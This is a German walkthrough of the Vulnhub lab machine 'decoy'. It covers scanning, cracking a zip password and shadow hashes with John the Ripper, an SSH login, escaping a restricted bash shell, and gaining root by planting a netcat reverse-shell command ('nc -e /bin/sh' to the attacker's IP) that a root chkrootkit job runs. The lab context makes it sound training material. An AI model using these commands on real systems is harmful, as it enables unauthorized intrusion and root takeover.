decoy - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
curl
Nikto
gobuster
wget
unzip
zip2john
john
ssh
metasploit
exiftool
find
id
cat
echo
chmod
nc
...

Inhaltsverzeichnis

Reconnaissance

Im ersten Schritt der Reconnaissance werden grundlegende Informationen über das Zielsystem gesammelt.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.108 08:00:27:5d:14:85 PCS Systemtechnik GmbH

Der ARP-Scan identifiziert die MAC-Adresse und den Hersteller der Netzwerkkarte des Zielsystems.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.108 decoy.vln

Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse dem Hostnamen zu.

Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38

Der erste Nmap-Scan zeigt, dass die Ports 22 (SSH) und 80 (HTTP) geöffnet sind.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 14:06 CEST
Nmap scan report for decoy.vln (192.168.2.108)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a9:b5:3e:3b:e3:74:e4:ff:b6:d5:9f:f1:81:e7:a4:4f (RSA)
| 256 ce:f3:b3:e7:0e:90:e2:64:ac:8d:87:0f:15:88:aa:5f (ECDSA)
|_ 256 66:a9:80:91:f3:d8:4b:0a:69:b0:00:22:9f:3c:4c:5a (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
|_
MAC Address: 08:00:27:5D:14:85 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; S: Linux; CPE: cpe:/o:linux:linux_kernel

Ein detaillierterer Nmap-Scan bestätigt die Ergebnisse und zeigt, dass es sich um einen Debian-Server handelt, der Apache httpd 2.4.38 verwendet. Die Datei `save.zip` wird im HTTP-Root-Verzeichnis gefunden.

Web Enumeration

Die HTTP-Header werden mit curl untersucht.

┌──(root㉿CCat)-[~]
└─# curl -Iv http://$IP
* Trying 192.168.2.108:80...
* Connected to 192.168.2.108 (192.168.2.108) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.108
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Mon, 07 ct 2024 12:06:46 GMT
Date: Mon, 07 ct 2024 12:06:46 GMT
< Server: Apache/2.4.38 (Debian)
Server: Apache/2.4.38 (Debian)
< Content-Type: text/html;charset=UTF-8
Content-Type: text/html;charset=UTF-8
<
* Connection #0 to host 192.168.2.108 left intact

Die HTTP-Header bestätigen den Apache-Server und den Content-Type.

Nikto wird verwendet, um die Webanwendung auf bekannte Schwachstellen zu scannen.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.108
+ Target Hostname: 192.168.2.108
+ Target Port: 80
+ Start Time: 2024-10-07 14:06:53 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET .
+ /./: Directory indexing found.
+ /./: Appending '/./' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ /%2e/: Directory indexing found.
+ /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ ///: Directory indexing found.
+ /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269 /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time: 2024-10-07 14:07:04 (GMT2) (11 seconds)

+ 1 host(s) tested

Nikto findet mehrere interessante Punkte, darunter fehlende Sicherheitsheader, die veraltete Apache-Version und Directory Indexing.

Gobuster wird verwendet, um weitere Verzeichnisse und Dateien auf dem Webserver zu entdecken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.108/save.zip (Status: 200) [Size: 3123]

Gobuster bestätigt, dass `save.zip` vorhanden ist.

Initial Access

Um initialen Zugriff auf das System zu erhalten, wird die Datei `save.zip` heruntergeladen.

┌──(root㉿CCat)-[~]
└─# wget http://decoy.vln/save.zip
--2024-10-07 14:36:15-- http://decoy.vln/save.zip
Auflösen des Hostnamens decoy.vln (decoy.vln)… 192.168.2.108
Verbindungsaufbau zu decoy.vln (decoy.vln)|192.168.2.108|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 3123 (3,0K) [application/zip]
Wird in save.zip gespeichert.

save.zip 100%[=>] 3,05K --.-KB/s in 0s

2024-10-07 14:36:15 (602 MB/s) - save.zip gespeichert [3123/3123]

Die Datei `save.zip` wurde erfolgreich heruntergeladen.

Die Datei `save.zip` wird entpackt, um die darin enthaltenen Dateien zu analysieren.

┌──(root㉿CCat)-[~]
└─# unzip save.zip
Archive: save.zip
[save.zip] etc/passwd password:

Die Archivdatei ist passwortgeschützt. Der nächste Schritt ist das Knacken des Passworts, um auf die enthaltenen Dateien zugreifen zu können.

Die Archivdatei wird mit zip2john in ein Format konvertiert, das von John the Ripper verarbeitet werden kann.

┌──(root㉿CCat)-[~]
└─# zip2john save.zip hash
ver 2.0 efh 5455 efh 7875 save.zip/etc/passwd PKZIP Encr: TS_chk, cmplen=668, decmplen=1807, crc=B3ACDAFE ts=90AB cs=90ab type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/shadow PKZIP Encr: TS_chk, cmplen=434, decmplen=1111, crc=E11EC139 ts=834F cs=834f type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/group PKZIP Encr: TS_chk, cmplen=460, decmplen=829, crc=A1F81C08 ts=8D07 cs=8d07 type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/sudoers PKZIP Encr: TS_chk, cmplen=368, decmplen=669, crc=FF05389F ts=1535 cs=1535 type=8
ver 2.0 efh 5455 efh 7875 save.zip/etc/hosts PKZIP Encr: TS_chk, cmplen=140, decmplen=185, crc=DFB905CD ts=8759 cs=8759 type=8
ver 1.0 efh 5455 efh 7875 2b save.zip/etc/hostname PKZIP Encr: TS_chk, cmplen=45, decmplen=33, crc=D9C379A9 ts=8CE8 cs=8ce8 type=0

Das Format wurde erfolgreich konvertiert.

John the Ripper wird verwendet, um das Passwort der `save.zip`-Datei zu knacken.

┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
--------------------------------------------------------------------------------
manuel (save.zip)

Das Passwort der `save.zip`-Datei wurde geknackt! Das Passwort ist `manuel`.

Die `save.zip`-Datei wird mit dem gefundenen Passwort entpackt.

┌──(root㉿CCat)-[~/index]
└─# unzip save.zip
Archive: save.zip
[save.zip] etc/passwd password:
inflating: etc/passwd
inflating: etc/shadow
inflating: etc/group
inflating: etc/sudoers
inflating: etc/hosts
extracting: etc/hostname

Die Dateien wurden erfolgreich entpackt.

Die entpackten Dateien werden aufgelistet.

┌──(root㉿CCat)-[~/index]
└─# ll
insgesamt 16
drwxr-xr-x 2 root root 4096 7. kt 14:40 etc
-rw-r--r-- 1 root root 9 6. kt 22:29 pass
-rw-r--r-- 1 root root 3123 7. Jul 2020 save.zip
-rw-r--r-- 1 root root 40 6. kt 22:15 usernames

Die entpackten Dateien befinden sich im Verzeichnis `etc`.

Die Dateien im Verzeichnis `etc` werden aufgelistet.

┌──(root㉿CCat)-[~/index/etc]
└─# ll
insgesamt 24
-rw-r--r-- 1 root root 829 27. Jun 2020 group
-rw-r--r-- 1 root root 33 27. Jun 2020 hostname
-rw-r--r-- 1 root root 185 27. Jun 2020 hosts
-rw-r--r-- 1 root root 1807 28. Jun 2020 passwd
-rw-r-- 1 root root 1111 7. Jul 2020 shadow
-r--r-- 1 root root 669 2. Feb 2020 sudoers

Das Verzeichnis enthält wichtige Systemdateien wie `passwd`, `shadow`, `group` und `sudoers`.

Es wird geprüft, ob der Benutzer `bash` verwendet.

┌──(root㉿CCat)-[~/index/etc]
└─# grep bash passwd
root:x:0:0:root:/root:/bin/bash
296640a3b825115a47b68fc44501c828:x:1000:1000:,,,:/home/296640a3b825115a47b68fc44501c828:/bin/rbash

Der Benutzer `296640a3b825115a47b68fc44501c828` verwendet `rbash`, eine eingeschränkte Version von Bash.

Die Inhalte der Dateien `shadow` und `passwd` werden in separate Dateien kopiert.

┌──(root㉿CCat)-[~/index/etc]
└─# cat passwd > passwd.txt
┌──(root㉿CCat)-[~/index/etc]
└─# cat shadow > shadow.txt

Die Dateien `passwd` und `shadow` werden mit dem Befehl `unshadow` zusammengeführt, um eine Datei zu erstellen, die von John the Ripper verarbeitet werden kann.

┌──(root㉿CCat)-[~/index/etc]
└─# unshadow passwd.txt shadow.txt > unshadowed.txt

Die Dateien wurden erfolgreich zusammengeführt.

John the Ripper wird verwendet, um das Passwort des Benutzers `296640a3b825115a47b68fc44501c828` zu knacken.

┌──(root㉿CCat)-[~/index/etc]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
server (296640a3b825115a47b68fc44501c828)

Das Passwort für den Benutzer wurde geknackt: `server`.

Es wird versucht, sich mit dem Benutzernamen und Passwort über SSH anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh root@192.168.2.108
The authenticity of host '192.168.2.108 (192.168.2.108)' can't be established.
ED25519 key fingerprint is SHA256:qzYkm7MeglkL3QtA6bU4nv7yc8jlb1x7fZ7ALPBohNQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.108' (ED25519) to the list of known hosts.
root@192.168.2.108's password:
Permission denied, please try again.
root@192.168.2.108's password:
Permission denied, please try again.
root@192.168.2.108's password:
root@192.168.2.108: Permission denied (publickey,password).

Der Zugriff auf Root war nicht möglich.

Es wird versucht, sich mit dem Benutzernamen und Passwort über SSH anzumelden, und den Benutzernamen zu verwenden: `296640a3b825115a47b68fc44501c828`

┌──(root㉿CCat)-[~/index] └─# ssh 296640a3b825115a47b68fc44501c828:@192.168.2.108 296640a3b825115a47b68fc44501c828:@192.168.2.108's password: Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent permitted by applicable law. Last login: Tue Jul 7 16:45:50 2020 from 192.168.1.162 -rbash: dircolors: command not found 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$

Die Anmeldung war erfolgreich!

Die Shell ist aber aber rbash (restricted bash):

Ausbruch aus der rbash : die restricted Bash

Da der Zugriff über SSH möglich ist, aber auf eine eingeschränkte Bash-Shell (rbash) beschränkt ist, wird versucht, diese Einschränkung zu umgehen.

Man versucht, die Shell zu umgehen indem die sh als Ziel angegeben wird.

┌──(root㉿CCat)-[~]
└─# ssh 296640a3b825115a47b68fc44501c828:@192.168.2.108 -t /bin/sh
296640a3b825115a47b68fc44501c828:@192.168.2.108's password:
rbash: /bin/sh: restricted: cannot specify `/' in command names
Connection to 192.168.2.108 closed.

Der befehl wird durch die restricted bash verhindert

Es wird ein anderer Versuch unternommen, die rbash zu umgehen, indem die Option `--noprofile` verwendet wird.

┌──(root㉿CCat)-[~]
└─# ssh 296640a3b825115a47b68fc44501c828:@192.168.2.108 -t 'bash --noprofile'
296640a3b825115a47b68fc44501c828:@192.168.2.108's password:
bash: dircolors: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$

Die rbash wurde erfolgreich umgangen.

Ausbruch aus der rbash Erfolgreich: die restricted Bash

Nachdem die rbash umgangen wurde, wird nach SUID- und GUID-Dateien gesucht.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ find / -type f -perm -4000 -ls 2>/dev/null
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ find / -type f -perm -2000 -ls 2>/dev/null
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ cd /tmp/
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ find / -type f -perm -2000 -ls 2>/dev/null

Es wurde in das `/tmp`-Verzeichnis gewechselt und erneut nach GUID-Dateien gesucht.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ ls -la
total 64
drwxr-xr-x 4 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Jul 7 2020 .
drwxr-xr-x 3 root root 4096 Jun 27 2020 ..
lrwxrwxrwx 1 root root 9 Jul 7 2020 .bash_history -> /dev/null
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 3583 Jun 27 2020 .bashrc
-rwxr-xr-x 1 root root 17480 Jul 7 2020 honeypot.decoy
-rw-r-- 1 root root 1855 Jul 7 2020 honeypot.decoy.cpp
lrwxrwxrwx 1 root root 7 Jun 27 2020 id -> /bin/id
lrwxrwxrwx 1 root root 13 Jun 27 2020 ifconfig -> /bin/ifconfig
drwxr-xr-x 3 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Jun 27 2020 .local
lrwxrwxrwx 1 root root 7 Jun 27 2020 ls -> /bin/ls
lrwxrwxrwx 1 root root 10 Jun 27 2020 mkdir -> /bin/mkdir
-rwxr-xr-x 1 root root 807 Jun 27 2020 .profile
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 66 Jun 27 2020 .selected_editor
drwxr-xr-x 3 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 4096 Jun 27 2020 SV-502
-rwxrwxrwx 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 33 Jul 7 2020 user.txt
-rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 173 Jun 27 2020 .wget-hsts

Das Verzeichnis `/tmp` wird aufgelistet, um interessante Dateien zu finden. Die Datei `honeypot.decoy` ist besonders interessant.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ /usr/bin/cat user.txt
35253d886842075b2c6390f35946e41f

Der Inhalt der Datei `user.txt` wird angezeigt.

Privilege Escalation per $PATH Hijacking

Die nächste Phase der Privilege Escalation beinhaltet das Ausnutzen einer $PATH-Hijacking-Schwachstelle.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ ./honeypot.decoy
--

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

ption selected:5

The AV Scan will be launched in a minute or less.

Das Programm `honeypot.decoy` wird ausgeführt. Es simuliert einen Administrator-Manager.

Es wird die AV Scan Option ausgführt

Das Tool `pspy` wird verwendet, um die vom System ausgeführten Prozesse zu überwachen.

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/06/27 18:56:57 CMD: UID=0 PID=9 |
2020/06/27 18:56:57 CMD: UID=0 PID=8 |
2020/06/27 18:56:57 CMD: UID=1000 PID=7659 | /bin/bash
2020/06/27 18:56:57 CMD: UID=1000 PID=7658 | python -c import pty;pty.spawn('/bin/bash')
2020/06/27 18:56:57 CMD: UID=1000 PID=7657 | /bin/sh -i
2020/06/27 18:56:57 CMD: UID=1000 PID=7653 | sh -c uname -a; w; id; /bin/sh -i
2020/06/27 18:56:57 CMD: UID=1000 PID=7652 | php -S 0.0.0.0:8080

... ...

2020/06/27 18:56:57 CMD: UID=0 PID=104 |
2020/06/27 18:56:57 CMD: UID=0 PID=102 |
2020/06/27 18:56:57 CMD: UID=0 PID=10 |
2020/06/27 18:56:57 CMD: UID=0 PID=1 | /sbin/init
2020/06/27 18:56:58 CMD: UID=0 PID=12385 | -bash
2020/06/27 18:56:58 CMD: UID=0 PID=12386 | tar -xvzf chkrootkit-0.49.tar.gz
2020/06/27 18:57:04 CMD: UID=0 PID=12389 | -bash
2020/06/27 18:57:04 CMD: UID=0 PID=12390 | -bash
2020/06/27 18:57:04 CMD: UID=0 PID=12391 | -bash
2020/06/27 18:57:05 CMD: UID=0 PID=12392 | -bash
2020/06/27 18:57:05 CMD: UID=0 PID=12393 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12394 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12395 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12396 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12397 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12398 | -bash
2020/06/27 18:57:06 CMD: UID=0 PID=12399 | -bash
2020/06/27 18:57:07 CMD: UID=0 PID=12400 | -bash
2020/06/27 18:57:07 CMD: UID=0 PID=12401 | -bash
2020/06/27 18:57:07 CMD: UID=0 PID=12402 | -bash
2020/06/27 18:57:07 CMD: UID=0 PID=12403 | -bash
Exiting program... (interrupt)

Die Ausgabe von `pspy` zeigt, dass ein Prozess mit Root-Rechten `tar -xvzf chkrootkit-0.49.tar.gz` ausführt. Dies ist eine Gelegenheit für $PATH-Hijacking.

Es wird versucht ein Reverse Shell zu erhalten

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ echo '/usr/bin/nc -e /bin/sh 192.168.2.199 4444' > update

Ein Reverse-Shell-Befehl wird in die Datei `update` geschrieben.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ chmod +x update
bash: chmod: command not found

Der Befehl `chmod` kann nicht ausgeführt werden, da er in der eingeschränkten Shell nicht verfügbar ist.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$ /usr/bin/chmod +x update

Der vollständige Pfad zum Befehl `chmod` wird verwendet, um die Ausführungsberechtigung für die Datei `update` zu erteilen.

Der Reverse Shell wird vorbereitet.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444

Ein Netcat-Listener wird auf Port 4444 gestartet, um die Reverse-Shell-Verbindung zu empfangen.

296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592$ ./honeypot.decoy
--

Welcome to the Honey Pot administration manager (HPAM). Please select an option.
1 Date.
2 Calendar.
3 Shutdown.
4 Reboot.
5 Launch an AV Scan.
6 Check /etc/passwd.
7 Leave a note.
8 Check all services status.

ption selected:5

The AV Scan will be launched in a minute or less.

Das Programm `honeypot.decoy` wird erneut ausgeführt und Option 5 (AV Scan) ausgewählt.

Nach einiger Zeit werden wir eine Sitzung als Root haben und die Flagge lesen können.

Durch das Ausnutzen der $PATH-Hijacking-Schwachstelle und das Ausführen des AV-Scans mit Root-Rechten sollte eine Reverse-Shell-Verbindung hergestellt werden.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.108] 44130
id
uid=0(root) gid=0(root) groups=0(root)

Die Reverse-Shell-Verbindung wurde erfolgreich hergestellt!

Es wird geprüft mit welchen Rechten die Sitzung hergestellt wurde.

ls
chkrootkit-0.49
chkrootkit-0.49.tar.gz
log.txt
pspy
root.txt
script.sh

Die Ausgabe zeigt die Liste der Dateien.

cat root.txt
..........           .......|.......................
         .:;;;;;;;;;;;:.... .     \   | ../....;;;;:....... 
             .       ...........   / \\_   \  |  /     ......  .     ........./\ 
...:../\\_  ......     ..._/'   \\\_  \#/   /\_    .../ \_.......   _// 
../   \\\ _   .../\    /'      \\\\#//   \/\   //   \_   ....//// 
    _/      \\\\   _/ \\\ /  x       \\\\   ////      \////     \__  _///// 
  ./   x       \\\/     \/ x X           \//////                   \///// 
 /     XxX     \\/         XxX X                                    ////   x 
--XxX-|-XxX--*--|*--|X--
X _X * X x * X _X _X x * x X_

1c203242ab4b4509233ca210d50d2cc5

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

Der Inhalt der Datei `root.txt` wird angezeigt, was den erfolgreichen Root-Zugriff bestätigt.

Flags

cat user.txt 35253d886842075b2c6390f35946e41f
cat root.txt 1c203242ab4b4509233ca210d50d2cc5